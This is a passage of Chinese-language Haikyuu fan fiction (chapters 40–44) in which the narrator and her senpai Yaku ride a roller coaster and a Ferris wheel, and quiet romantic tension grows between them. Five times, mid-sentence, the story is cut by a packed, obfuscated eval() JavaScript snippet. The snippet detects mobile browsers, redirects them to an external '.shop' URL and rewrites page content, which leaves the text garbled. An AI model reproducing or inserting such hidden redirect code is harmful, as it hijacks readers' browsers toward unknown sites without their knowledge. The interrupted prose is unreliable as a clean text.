我已经看了好几轮过山车过去了，对于俯冲下去后会出现的动静勉强能是了然于心——轨道仿佛会连同地面一起震动起来，轰隆隆的声音混杂着或刺激或恐慌的尖叫声从上而下地俯冲过来，震地脑袋莫名泛起嗡嗡的眩晕感。 我咽了口唾沫，多少有点自心头蔓延至全身上下的紧张，忍不住深呼吸了一下，不自觉有些焦躁地搓了搓指尖。 夜久一边站在我身侧尽力帮我挡着倾洒而来的阳光，一边将我焦躁的一系列肢体动作尽收眼底，他默了默，鉴于刚刚实在害怕就换个项目的提议被拒绝，便没再说这种类似的话，只是问：“还是很紧张吗？” 我一边抬头看着过山车从被树叶遮挡住的、我所看不见的鸿顶处朝下俯冲而来，一边听完他的话有点心不在焉地应了一声，“……嗯。” 突然被问，我忍不住转头望了他一眼。 夜久前辈看起来没有我紧张、或者说完全不紧张的样子，我只感觉到一点有些兴奋的情绪，总之跟我基本没什么相同的地方……多少让我有点挫败。 心不在焉地分神想着，下一秒，我却忽地感到发间一重，下意识抬眸，却猝然撞进夜久前辈被阳光照得通透的棕色眼睛里。 他拍拍我的发顶，道：“如果实在害怕的话就抓紧我的手吧的。” 夜久迎着我有些怔然的目光笑了一下，“肢体接触总是会给予人力量的。” 这样，你就可以清楚地意识到自己从来不是一个人了。 40. 四十个小岛 我总会三番五次地意识到夜久前辈的确是个很好很好的人。 ……真幸运啊，能遇到夜久前辈的我。 胸腔中升腾而起的情绪滚烫而酸胀，我望着他的眼睛，半晌，由衷地这么想着。 真幸运啊。小岛游绘。 # ……虽然那会儿的确有被安慰到而冷静下来变得没那么紧张，但跨上过山车座椅的那一刻，扑通扑通剧烈跳动起来、响在耳边的心跳声却还是预示着我并不平静的内心。 紧张地大脑有点转不过弯来，我下意识听着工作人员的指令，将身上所有可能会脱落的东西摘掉，再交给坐在靠里一侧的夜久前辈由他帮忙放进置物处，最后才跟着夜久前辈跨进座位里坐下。 “……有点紧张。”把安全带系上后，我默了半晌，最后一手捂着隐隐热起来的脸颊，另一只手撑着膝盖，视线空茫地虚虚落在前面位置上坐着的人的后背，半晌，小声又含糊地嘀咕道。 燥热的空气、人群发出的细碎的噪音、还有工作人员循环播放注意事项的声音一齐传入感官，在心脏上慢慢地、坚持不懈地添砖加瓦，直到它沉重到了一个令我有点喘不上气的状态。 覆在膝盖上的手掌慢慢地、慢慢地收紧，裤子被揪紧的感觉逐渐传上来。我没来得及继续做什么，因为下一刻，我便察觉到有人将自己的手盖了过来。 温热的触感覆在手背上，我怔了怔，下意识松了力道，便被手掌的主人连带着一起牵起。 工作人员适时伸手压下座位前被抬起方便人坐下的压杆，软皮革包裹着海绵垫的触感便从大腿根部传来，但压得不算紧，毕竟旁边还有一个比我健康得多、没我这么瘦的夜久。 下意识的，我试着抬腿动了动，透过皮革和海绵感受到了其中不可撼动的、严严实实压下来的钢铁压杆。 ……感觉挺安全的。我稍微松了口气。 等工作人员俯身将我身上有些过于松松垮垮的安全带勒紧，再逐一检查完是否勒紧牢固后离开，我才后知后觉地转头望向至今还没收手的夜久。 对上我的视线，他顿了两秒，接收到我视线中带着的疑惑，忽地像是意识到什么了似的有些仓惶地避过开我的视线，沉默了半晌，才有些不自在地张了张嘴，道：“……不是紧张吗？” ……原来被听到了。 意识到这一点，我登时顾不上夜久前辈有点奇怪的神态，呼吸微微一滞，一时不知道说什么，只能飘忽地移开视线，半晌，小小声道：“……就一点点。” 覆在手背上的温度不知哪一刻开始忽然拔高到了一个惊人的、我难以忽视的存在感极强程度，我有点头皮发麻，但还没琢磨好到底该不该收回手，一道声音极大的铃声就咻然在耳边炸响。 刺耳、尖锐、突然，我吓了一跳，还没反应过来发生了什么，身下坐着的过山车就蓦地启动了。 忽地一抖，随即速度平稳地向前去。向前时带起的风柔和地拂起发梢，我直到这会儿才发现我忘记把这一头到脖子中间的短发扎起来了。 明明来之前看攻略的时候有记得玩过山车的时候尽量不要披着头发来着，我连皮筋也准备好了，就放在小包的夹层里，结果竟然上车之前忘了吗…… 皮筋在包里，现在也来不及了……算了不管了，不扎头发而已，后果总不会太严重。 链条与齿轮转动的声音自身下过山车的底部传来，穿过一个拐弯，迎面而来的便是一个很高很高的长坡。 艳阳天的阳光照在身上带起灼热的暖意，高处的微风划过脸颊，带起一丝微弱的凉意。周围没有树林之类的遮挡，余光向外看去便能清晰从一个极高的高度俯瞰大半个游乐园。心脏跳如擂鼓，我不自觉咬紧了下唇，甚至不敢转头望向旁边的风景，只能僵硬地看向前方。 脚抵住座位的挡板，我整个人紧紧贴靠在椅背上，无师自通般将自己卡在座位间、以保证整个游玩过程中不会因为安全措施原因出现意外。我再伸手死死扒住压杆，掌心沁出的汗意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309390|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让感受到的触感有点不牢，但又没有滑到会带给我极强不安感的程度。 上坡的时间漫长又过得飞快，漫长到我已经逐渐感受到心底如气泡一般熙熙攘攘冒出来的悔意，又短暂到没法我真心实意地意识到“我后悔了”这个事实。 一晃神，过山车已经升到了最高点，正堪堪停滞在向下俯冲前的瞬间。我们坐的不算靠前、但也没有风靠后，中间的第三排，抬眼一瞧，能清晰瞧见第一排的两位兴奋抬起直直晃在半空中的四条手臂。 ……好勇敢。 佩服裹挟着微妙的艳羡情绪跟着莫名出现的想法一起跳到眼前，我还没来得及想明白自己的情绪究竟是源于什么，原本停滞在最顶端的过山车便忽然动了。 我所处的车厢先是向上窜了一截，爬至最顶，再顺着重力向下滑了一截，极高的高度看得我心头一悸，低头望去，我甚至能沿着极陡的下坡一眼望见最低处的那节轨道。 眩晕感和恐惧感在脑海中盘踞，我呼吸微微滞住。 跟另一只手相贴的手掌在这个空档被反手扣住，有些粗糙的指腹轻轻碰上手背，我懵了一瞬，还没反应过来发生了什么事，大脑便在下一瞬被呼啸而过的狂风吹得空白。 尖锐的失重感填满胸腔，将乱跳的心脏顶到嗓子眼，压住哽在喉头难以释放的尖叫。狂风刮过面颊在耳畔呼啸，将大睁的眼睛吹得干涩，手指紧绷到快要痉挛，我条件反射地咬紧牙关，再用舌尖抵住上颚，却没法减弱席卷而来的失重感。 杂乱纷扰的念头被极快的速度甩到身后，风声和尖叫声也朦朦胧胧地被隔绝在身体之外，我只听到一下比一下重的心跳声砸在耳侧。 救命。 救命救命救命救命救命。 被风吹得混乱的感观中，我甚至觉得世界都已经彻底上下颠倒了过来，呼吸仿佛连同尖叫一同被堵在喉咙，汲取氧气的本能仿佛已经被剥夺，我有点喘不上气。 ……我真的后悔了，我不应该上这辆过山车的。 41. 四十一个小岛 ……我不会再上过山车了，绝对不会。 过山车最后冲入起点，再缓缓停到上车前的位置，我精神恍惚地坐在原地，半晌，忍不住抬手抹了把脸。 堪称是机械地解开安全带、任工作人员帮忙松开压杆，我撑着椅背起身，迈出座椅时一个腿软没站稳，不小心一脚踩进站台和座位的缝隙间——小腿好像被粗糙的站台面磨到了，好痛。 有点吃痛地嘶了声，随即，胳膊被抓住的触感也后知后觉地传来。我下意识回头瞧了眼，正好对上夜久前辈投来的视线。 他刚刚眼疾手快一手拽起我的胳膊，另一只手还拿着我和他两个人的随身物品，如今对上我的视线，眸中不自觉带上几分无语和好笑。 我沉默，随即自知理亏心虚地默默收回视线，顺着他的力道撑起身子，把卡在缝隙间的腿拔出来，低头瞧了两眼，不出意外地看见小腿上冒出来的那几点血珠。 “……”下意识地，我微不可察地蹙了蹙眉。 夜久自然也看到了那点刮蹭出来的伤口和冒出来的鲜血，他倒吸口气，有点紧张地问：“怎么摔了，还好吗？疼不疼？” 我再低头多看了两眼，确定伤口不算严重后微微松了口气，有点不确定地感受了一下，摇了摇头，“有一点，但不是很痛。我有带碘伏棉签，待会找个地方消下毒就好。” 随即，我顿了顿，感受着还是有点使不上力的身体，沉默了一会儿，还是有点心有余悸地回头瞧了眼过山车的座椅，有点气闷地发表感想，“都怪过山车……我下次绝对不要玩过山车了。” “绝对不要。”我再次强调了一遍。 “到底是谁主动提出说要玩过山车的啊。”夜久吐槽我。 他有点无语地说着，一边搀起我的手臂让我能接力站直，一边带着我往出口走去。 “游乐园路边一般不会有椅子，附近也没有餐馆，待会找个台阶坐一下先简单处理一下伤口吧。”他定好接下来的行程，随即转头问我，“之后还有什么项目吗？” 我听着这熟悉的问题沉默了一会儿，随即摇了摇头，“我跟你走就好，夜久前辈你定吧。” 我的确没什么非常想玩的项目来着，再加上上次我提议的项目就是个威力超强的雷，虽然觉得这是巧合，但不管怎么说还是不要再提议了吧…… 我真的不想再来一次过山车了，类似的也不行。 始终处在一种近乎于心有余悸的恍惚中，我任由夜久前辈一手揽过我肩带着我向前，亦步亦趋地跟着走的同时，又忍不住回想起刚刚那短暂又极尽漫长的游玩体验中，被扣住手掌的感觉。 温暖的热量仿佛透过相接的手掌传至全身，是被狂风席卷而来时能感觉到的唯一的温度，微弱到我险些以为是错觉，偏生又始终毫无改变地、沉默地伫立在那里。 ……像太阳一样。 啊……虽然不知道这样的比喻会不会有点夸大，但思来想去，一时半会儿也想不到什么更好的描述。 而且也不能说完全和太阳无关吧，多少还是有几个地方跟太阳相似的吧。 比如温暖、比如永恒、再比如无差地向所有人照下温暖的阳光。 还是多少有点像的吧，对吧？ 下意识地，我侧过头，抬眼看向夜久前辈的侧脸. 能接到一点阳光就很好了。 我这么对自己道。 成为最特殊最特殊的存在什么的……没可能的吧。 # 刮蹭出来的伤口不深，只破了薄薄一层皮，丝丝缕缕的血从破了皮的血肉中渗出来，凝成一颗一颗挂在腿上的血珠，就算只过了这么不到十分钟的路程也已经在血小板的努力下凝成暗红色的血痂，我坐在台阶边上低头瞧了两眼，若有所思地问：“这样还需要消毒吗？都已经结痂了。” “倒也别这么相信站台的消毒措施啊。”夜久有点无语地吐槽我，“先擦干净再消毒。给，还没开封。” 说着，他将刚从包里拿回来的矿泉水拧开递给我，随即将我带的小包放到我身侧，示意我自己去拿。 “哦。”我老老实实应了声，先结果那瓶水，才从包里抽出几张纸巾，开始擦拭伤口旁边的皮肤。 冰凉的触感糊在小腿上，随着纸巾擦过而微妙地泛起微弱的刺痛感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309391|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我不大在意，擦干净之后就转头从包里翻出为了以防万一放进去的碘伏，一边往伤口上擦，一边偏头看向夜久，“我们等会去哪玩啊，夜久前辈。” 男生一下和我对上视线，微微愣了一下，无意识冒出个“啊”。 他随即顿了顿，反应了两秒，才慢半拍地“哦”了一声，我看着他下意识避开我的视线，原地想了想，随即微微偏过头问我：“嗯……要不要去海洋馆玩？马上中午了，太阳太大，那边刚好是室内，可以避避暑。之后等太阳小一点之后再出来玩室外项目。” “好呀。”我积极地应了一声，对他的安排并没有意见，将伤口都擦过碘伏后便把棉签和刚刚用过的纸巾一起收起来，准备待会经过垃圾桶的时候扔掉。 随即，我看了看小腿上一大片黄棕色的碘伏留下的痕迹，“唔”了声，“碘伏好明显哦。” 早知道穿长裤出来了，选衣服的时候怕天气太热穿长裤闷就选了短裤……不过现在开始懊悔是不是迟了点，按理说应该刚刚后悔吧，毕竟穿长裤的话根本不会被刮到来着，从最开始就杜绝了这种事情的发生。 后知后觉地意识到这一点，我兀自沉默一会儿，最后决定选择性忽略这个点。 将收起来的垃圾一块塞进带出来的小塑料袋，再叠起来放进包里，我撑着膝盖站起身，一边从包里摸出手机，一边征求般侧头望向夜久，“夜久前辈，我们先查一下路线？没准去的路上还可以玩想玩的项目呢。” “嗯？这个我已经查好了，刚刚有发给你，没收到吗？”夜久前辈稍微有些疑惑地望回来，我微微一愣，“诶”了声，下意识低下头去看消息，“我平时不怎么看手机，会开免打扰来着……啊，看到了。” 点进亮着红点的聊天框，我点开夜久前辈发来的图片，放大看了一会儿，对路线附近的其中一个项目有些感兴趣，“我想玩碰碰车，还没有玩过呢。” “行啊，”夜久很快应下，他也站起身，四处看了一圈，指了个方向，回头对我道，“走吧，那边更近一点。” 我两步跨到他身侧，一边轻快地应了一声，“好哦。我们走吧。” 42. 四十二个小岛 游玩的时间一晃而过，眨眼间，炽烈的太阳西沉，昏黄的光晕一点点自天边开始向原本湛蓝的天空蔓延，漂亮的惊人。 彩灯自游乐园的四处亮起，金碧辉煌，将视网膜中的一切照得通明，我站在小山坡顶端的边缘向下看去，只望见一片明亮而耀眼的、颜色绚丽多彩的光。 “感觉那边的广场很适合拍照诶，待会要不要叫其他人一起去拍。”看了一会儿，我指着前方其中一处地方转头朝夜久前辈提议，他正举着手机拍远处黄昏洒下时落在童趣屋檐上的金芒，闻言下意识回头，朝着我指着的地方看去。 那是游乐园进门口的通道正对着的一个小广场，前方是开辟出来的人工湖，湖边坐落着大大小小的会发光的动物形状的灯笼，为首的、最大的游乐园的吉祥物，是一只顶着水果皇冠的猴子，看起来有点滑稽。 空间很大，是个很合适的打卡点。 “是很合适。”这么想着，夜久若有所思地应了声，随即便效率极高地点开聊天软件，想了想，准备直接通知其他人到那里集合。 看着手机里弹出的消息，我有点惊讶地“诶”了声，下意识转头望向夜久前辈的屏幕，“……直接这么说没问题吗？我们本来不是约好要去门口集合的。” “没问题啊，”夜久前辈语气轻松地应了一声，随即转头看我，“又不是什么大事情，直接说就好了，没问题的。” “而且再回来拍照也很麻烦吧，还要走好一段路。”他认真思考两秒，认同自己的话般点了点头，随即将手机侧过来给我看，“你看。” 我看着正接二连三冒出消息的屏幕愣了一瞬，第一眼望见却是夜久前辈给我的备注。 是【小岛】，他平常叫我的名字。 微微顿了两秒，我不知自己该有什么反应，只下意识移开视线，停在屏幕中央愣了两秒，才想起去看其他人回复的消息。 【海：小游的提议吗？可以啊，是进门那个广场吗？】 【列夫：诶？是哪个是哪个，我怎么进门的时候没有看到，门口不是只有鬼屋吗？】 【黑尾：列夫你进门的时候到底在看什么啊喂，就在鬼屋前面一段距离啊】 【列夫：？？？】 ……啊？已经默认换地方了吗？ 我记得之前刷到的帖子里这种情况下其他人都会抱怨为什么要临时换位置之类的来着……情况不一样吗？ 一点点疑惑从脑海中划过，我歪了歪头，没想明白，恰巧前方的队伍又向前动了一截，便索性不再想了，拉着夜久前辈一起往前走去。 我们现在在排的队伍是摩天轮，看攻略上说是晚上还在游乐园里的话一定要去的一个项目，风景很好。 我看了其他人的返图多少有点心动，张灯结彩的游乐园看起来实在好看，被夜色笼罩后更凸显那股童话的感觉，我没多犹豫，便拉着夜久前辈来排这里的队。 虽然现在目前还是黄昏，但夏天的天黑的一向很快，再加上我们集合的时间在四十分钟之后，要是等天完全黑下来再来排队的话肯定是不够的。 嗯……赌一下，就算没拍到也没关系，黄昏的照片也是照片，而且我也还没坐过摩天轮呢。 虽然准确来讲我其实大部分项目都没坐过就是了，不过这不重要。 我也没感觉多遗憾。 摩天轮排队的人是我今天玩下来见过的第二多的（最多的是过山车，我至今还是在后悔为什么非得上那个过山车），不过它和鬼屋的上人机制差不多，一两分钟就能上一组人，虽然上的人没鬼屋一组上的人多就是了。 一般都是两个两个上，偶尔是一个或者三个，也就没鬼屋排得快，我们排队排了快四十分钟才上了摩天轮。 上摩天轮的过程挺新奇的，摩天轮并不会停下，始终缓慢地转着圈，工作人员需要赶着时间把里面的游客放出来，再赶着时间把下一轮游客送上去，最后从外面上好锁，这样一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309392|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个流程才算结束。 旁观时我看得稍微有一点紧迫的感觉，自己上的时候这种感觉就更胜了，我觉得工作人员一直催着的“快点快点快点快点”得占其中的七成因素。 最后着急忙慌地跟夜久前辈前后脚钻进摩天轮的车厢里时心脏还莫名被氛围带着扑通扑通地跳着，我和夜久前辈按照工作人员的指示面对面坐着（为了保持车厢的平衡所以不能坐在同一边）。抬头对视两秒，又莫名其妙一起扑哧笑出来。 他将上来前帮我拿着的相机递过来，语气带着无端又莫名的笑意，“给，正好天黑了。” 顿了顿，他还体贴地补了一句：“需要找角度换位置记得跟我说哦。” “现在还没到风景最好的时候呢，夜久前辈。”我接过相机，一边说着，一边下意识向玻璃窗外望去。 墨蓝的颜色已经彻底将天空晕染透了，天色暗沉，完全想象不到十多分钟前这片天空还携带着黄昏的颜色。摩天轮的排队区在一个山坡上，上来要爬好长一段楼梯，基础高度便比其他地方要高得多，于是即使没升到摩天轮最高的地方，但等过了最开始一段被植株遮挡住视野的阶段后，出现在眼前的景色也足够好看。 我凑在窗前看了会儿，惊叹地发出点声音，随即拿起相机，简单调整了一下构图和焦点便按下快门。 “效果意外很不错诶，果然景色是最重要的。”这么说着，我转头，将相机递到夜久面前给他看。 车厢空间狭小，稍微动一下膝盖便撞上另外一人的，我愣了一下，倒也没太在意，只下意识先移开，才继续看向夜久前辈，将相机递到他手里。 夜久对这个方面没什么涉及，也看不出什么构图光影之类的东西，但他好歹有基础的审美，看了两眼，便不吝啬地发出赞叹，“很棒诶！不过明明拍的人是谁也很重要吧，我就拍不出这样的效果诶。” 我眨眨眼，随即弯起，忍不住抿起嘴唇，有点开心地勾起一个笑来。 43. 四十三个小岛 就是、呃，我真的觉得我不适合自己挑什么东西了。 随着摩天轮逐渐升高，我望向玻璃窗外的视线逐渐游移，满心期待着升至最高点后的风景的心情也僵硬地缓下来，我将双手下移按在膝盖上，不自觉揪紧了裤腿的布料，逐渐不敢再望向窗外。 夜久前辈沉默了一会儿，语气微妙地问我，“……小岛，你是怕高吗？” 我莫名听懂了他言下之意，于是默了两秒，更后悔了——为什么一定要自己挑项目啊，这不是百分百的踩雷率吗？ “……大概是的吧。”余光已经看不见游乐园中的任何设施，只能隐约瞥见隐隐烁烁晕染蔓延开的亮色光晕，我有点喘不上来气，不自觉抿紧嘴唇，闻言默了两秒，张了张嘴，有点无力地回答。 ……我在此之前是真的完全不知道我还有怕高的属性。 我家不是高楼的那种公寓，只有两层高，周围也都是这样的居民房，首先在家碰到这种高度的可能性就pass，而另一个出门方面的话，我又比较宅，偶尔出门拍照也不会去找特别高上去特别麻烦的地方，到现在站到这么高的地方应该还是头一次…… 不，好像是第二次，之前的过山车才是第一次。 这么说的话，那种刺激的体验也许并非只有失重感和极快速度带来冲击力，高度带给我的恐慌没准也占了很大位置，只是那时全身心都放在过山车上所以没有意识到而已。 闷着嗓子捂起脸，我弯腰，手肘抵住膝盖，像只鸵鸟似的将脸埋下去，从根源上避免了看到外面高空而恐慌的可能性。 原本放在怀里的相机慢腾腾地滑下去，砸在地上之前被夜久眼疾手快捞起来，大价钱买回来的相机才没就这么摔坏。我后知后觉地才意识到相机刚刚差点死掉，下意识抬起眼望过去，有点后怕地道：“还好没摔到……好贵的，这个相机。” 夜久刚妥帖地将相机放起来，闻言用鼻音回了我一句“嗯？”，随即顿了顿，好脾气地接话道：“多少钱？” 我原地回想两秒，不大确定地报了个数字。 于是有些狭窄的视野中，我看见原本放松着的夜久前辈动作骤然一顿，他语气震惊，“这么贵吗？！” 我心里有点惴惴不安的对未知高度的恐惧，一边警惕着车厢在半空中忽然的摇晃，一边下意识猜测着现在窗外的高度，闻言思绪一顿，脱离对高空的恐惧想了想，赞同地点了点头，“是有点……不过像素很好，功能也很齐全，值这个价。” “唔……原来如此。” 紧闭双眼时我看不见他动作，只隐隐约约听见衣物摩擦的声音，随即又忽地传来一声细小的咔哒声。我下意识微微睁眼看了他一眼，发现是夜久前辈在动作小心地将相机放到他座位的旁边。 我于是重新闭上眼，五指虚虚地盖住眼睛，将车厢内顶端洒下的为数不多的白色灯光遮去，让世界陷入彻底的、让我感到安心的黑暗。 空气寂静了一会儿，半晌，我察觉有人动作很轻地抚了抚我的发顶，随即，夜久前辈安抚般的清朗嗓音自上方传进耳朵，“我们还有一段距离才能到最高点，一、二、三……还有四个车厢，快了。” “在之后就下去了，很快的，别怕，我在呢。” 杂乱无章的、混乱的思绪一瞬间空白了起来，下一刻，胸腔便被忽然升腾而起的，说不清道不明的微妙情绪全数占满。 挤挤挨挨的填进心脏，偶尔有些逸散出来的便一路窜上耳朵和面颊，温度一瞬间升上去，脸颊热起来，耳尖也开始发烫。我下意识将原本只虚虚盖在眼睛上方的手下移，啪地掩住口鼻，兀自懵了会儿，随即下意识睁眼望去，先是撞见他的眼睛，又在慌乱转头时瞥见他收到半空的手掌。 “诶、诶？怎么了？” 剧烈跳动着的心跳声中，我听见夜久前辈有些无措的声音。 强撑着将视线放到车厢地板上，我忍不住抿紧了嘴唇，试图将所有可能发出的声音全数压回喉咙，又因感受到面上灼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309393|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热的温度不自觉有点羞赧。 吐出的气息逸散在鼻间，隐隐约约仿佛也染上抹热意。 心情像突然做了过山车一样翻天覆地地变化，思绪也如一团乱麻，我理不清思绪，只是此刻听到往日所喜爱的、熟悉的、期待的声音时，我第一反应却是逃避。 但……我不知道，我不知道为什么会这样。 “……不、不，我没事。” 强压着自己张了张嘴，半晌，我语气艰涩地从喉咙里挤出零星的、不成句的几个音节，又重新静默下来。 跳动着的心脏彰显着极强烈的存在感，我注意不到外界的声音，满耳都是自己的心跳声，一下又一下，震地我心口发闷。 我下意识将自己没进自己的世界中，原本还称得上清晰的视野恍惚起来，却在清晰的瞬间出现那双我无比熟悉的眼睛。 等等、什么？ 我看见夜久前辈眸中显而易见的担忧、看见他微微蹙起的眉、看见他张张合合却没有一句完整的话落进我耳朵的嘴唇。 我僵在原地，有些难以置信地微微睁大了眼睛。 ……有点太近了、未免。 车厢本就不算大，相对而坐地坐在两侧的座位上时就能在无意间碰上膝盖、某种程度上可以说是课本上促膝而谈的距离——不会近到太过亲昵，但也绝对不在正常社交距离之外。 我不清楚事情怎么会到这个地步，但就目前来看……虽然不确定这样的距离是不是前后辈会有的，但、至少在我与夜久前辈之间是头一次。 这样的、面对面对视的距离……未免也太近了些吧。 冷白的灯光幽幽地洒下，没将他的瞳眸染上冷色，反倒落在他眼睫上，投下细密疏淡的阴影。 不知何时贴在下颚的手掌在此刻后知后觉地递来滚烫的温度，我望进他落在阴影中的棕眸，于其中窥见他满腔真切又真实的、我看不透的情感。 ……叫我莫名地生出一种，无所适从的感觉来。 44. 四十四个小岛 “……是身体不舒服吗？” 前辈的话直到这会儿才朦胧而恍惚地飘进我耳朵，我呼吸滞住，看着他微蹙起眉，担忧地用指腹探探我脸颊的温度、再碰碰额头，一脸忧心忡忡的样子，过来半晌，才猛然反应过来般仓促地转脸避开他的手掌，磕磕绊绊地应道：“……没有！没有不舒服……” 像被搅碎了的词句堵在喉咙，我难能冷静下来重新组织语言，冒出几个简单的短句后便卡壳了半天，最后迎着他似乎是意识到什么而一瞬间僵硬起来的目光，只能有些懊恼又自暴自弃地抿紧了嘴唇，逃避现实地躬身将脸埋进掌心，顿了半晌，才转移话题般，语气艰涩地重新提起原本就想说、却被夜久前辈提前打断的话，“…要拍的，都上来了……很浪费。” 声如蚊蚋、又不成句子，满脑子的想法最后只随机吐出几个字，说出来像玩填字游戏似的……说完才意识到这一点，我一口气差点没上来，只觉脸上的温度又再次烧起来。 “……啊、啊，是，为了拍照上来结果没拍到的话是会很浪费……等会快到最高点的时候我叫你吧。” 慌乱中，我听见夜久前辈也用着似乎有些不对劲的语气这么回我……是错觉吗？ 下意识抬眼，我罕见地没直直望进他的眼睛。 浅发的前辈紧紧靠坐在座位靠背上，一手抵在嘴唇上，另一只手放在腿侧。他似是正有些紧绷地望向窗外，我看见他手背上微微凸显出的青筋，再一转眼，却突然望见他连着脖颈一起染上红晕的耳朵。 我一时怔住。 夜久前辈……是脸红了吗？ # 最后还是拍了照片。 漂亮的光晕在夜色中晕染开，连成一片金灿灿的光海，混着其中造型童趣的设施建筑显得更加像童话中的景色，唯美地让人有些出乎意料的赞叹，我低头逐一将照片看了一遍，随即下意识翻转相机递给旁边的另一个人，语气难得透出点有些欢快的欣喜，“夜久前辈你看！” 刚刚有些微妙凝固起来的静默气氛被一瞬间驱散，仿佛什么事情都没有发生般，我转头望向夜久前辈，照旧期待着他的夸奖——虽然不管怎么说我都很难真的当做什么都没发生过就是了。 希望事情可以尽快过去而不对我们之间的关系造成任何影响的心情始终持之以恒地盘旋在心底，忐忑的情绪无法抑制地升起、而后穿插在仅有的那点伪装中。我不知道夜久前辈能不能看透我多少沾点拙劣的伪装，但这种东西的水平总归不会在这一瞬间突然升高，我没法指望自己，便只能盼着夜久前辈发现不了——再这样下去我真的要学习一下怎么隐瞒别人了。 夜久前辈没第一时间发表看法。 我察觉有道视线落在我脸上，隐约地透出点困惑与不解。我只能当做未曾察觉，目光依旧落在摄像机的屏幕上，微微侧手将屏幕转给夜久前辈，面上没什么波澜，按住相机边缘的手掌掌心却隐隐沁出点汗意。 在我愈加紧张的心情中，夜久前辈终于移开了目光，他望向屏幕，微微停顿着看了两秒，随后开口，“很好看，小岛。” 于我下意识寻声投去的视线中，他弯起眼，露出一个与平常没什么两样的、鼓励般的笑来，“已经足够好了。” # 下摩天轮的时候离我们约定好集合的时间只差十分钟，我匆匆看了眼群，却发现直到现在都没几条消息，不禁有点疑惑地盯了两秒，确定没看错，才转头拉了拉夜久前辈。 “啊，这个啊。”夜久前辈看了眼，立刻有点无语地点出事实，“他们大概还没人到呢，大概都在狂奔来的路上。” 他想了想，转头，透过树叶间的缝隙往集合处的小广场看了看，估算了一下距离，随即猜测，“我们现在过去没准会是最先到的几个。” 我下意识跟着望去。 摩天轮的入口出口还有排队区都在山坡上，我们刚从摩天轮上下来，还没来得及沿着楼梯往下走，此时站在最高处（不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309394|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算摩天轮上的）向下远远眺望，只能透过树叶间的间隙依稀看见些隐隐烁烁的亮光。 夜久前辈怎么看的，我怎么什么都没看着。 兀自在心里嘀咕两句，我移开视线，在原地停顿两秒，率先往下走，“那我们走吧。” “可以以此谴责一下山本前辈他们。他们肯定没到，灰羽刚刚给我发的消息里他们刚玩完大摆锤呢。”我轻飘飘地提议。 夜久前辈乐了，“列夫听到会哭的吧。不过我投赞同一票。” 我有点诧异地转头看向夜久，“灰羽听到这话就不会哭了吗？” 夜久哦了声，“不管他。” “……灰羽这下才是真要哭了吧。”我语气微妙。 最后的确如夜久前辈所说，我们是头几个到的。 远远的，我看到站在一个空旷地方笑眯眯抬手朝我们招呼的海前辈，再看看他身侧的福永前辈，最后四处环视了一圈，有点惊讶地偏头看了眼夜久前辈，“还真是最先到的几个啊……” 夜久前辈轻哼一声，“我就说吧。” “厉害。”我夸了句，随后抬手回应了一下海前辈表示自己已经看见他们了，确认他看到后便放下，等四个人聚到一起，才摸出手机，看了眼消息。 “研磨前辈说他们快到了，灰羽他们说还在来的路上，最多十分钟。” “阿虎他们果然会卡点到。”福永闻言摸了摸下巴，满脸意料之内地这么道。 我有点奇怪他的用词，下意识先看了眼时间，随即有点疑惑道：“不应该是迟到吗？只差五分钟就到时间了诶。” 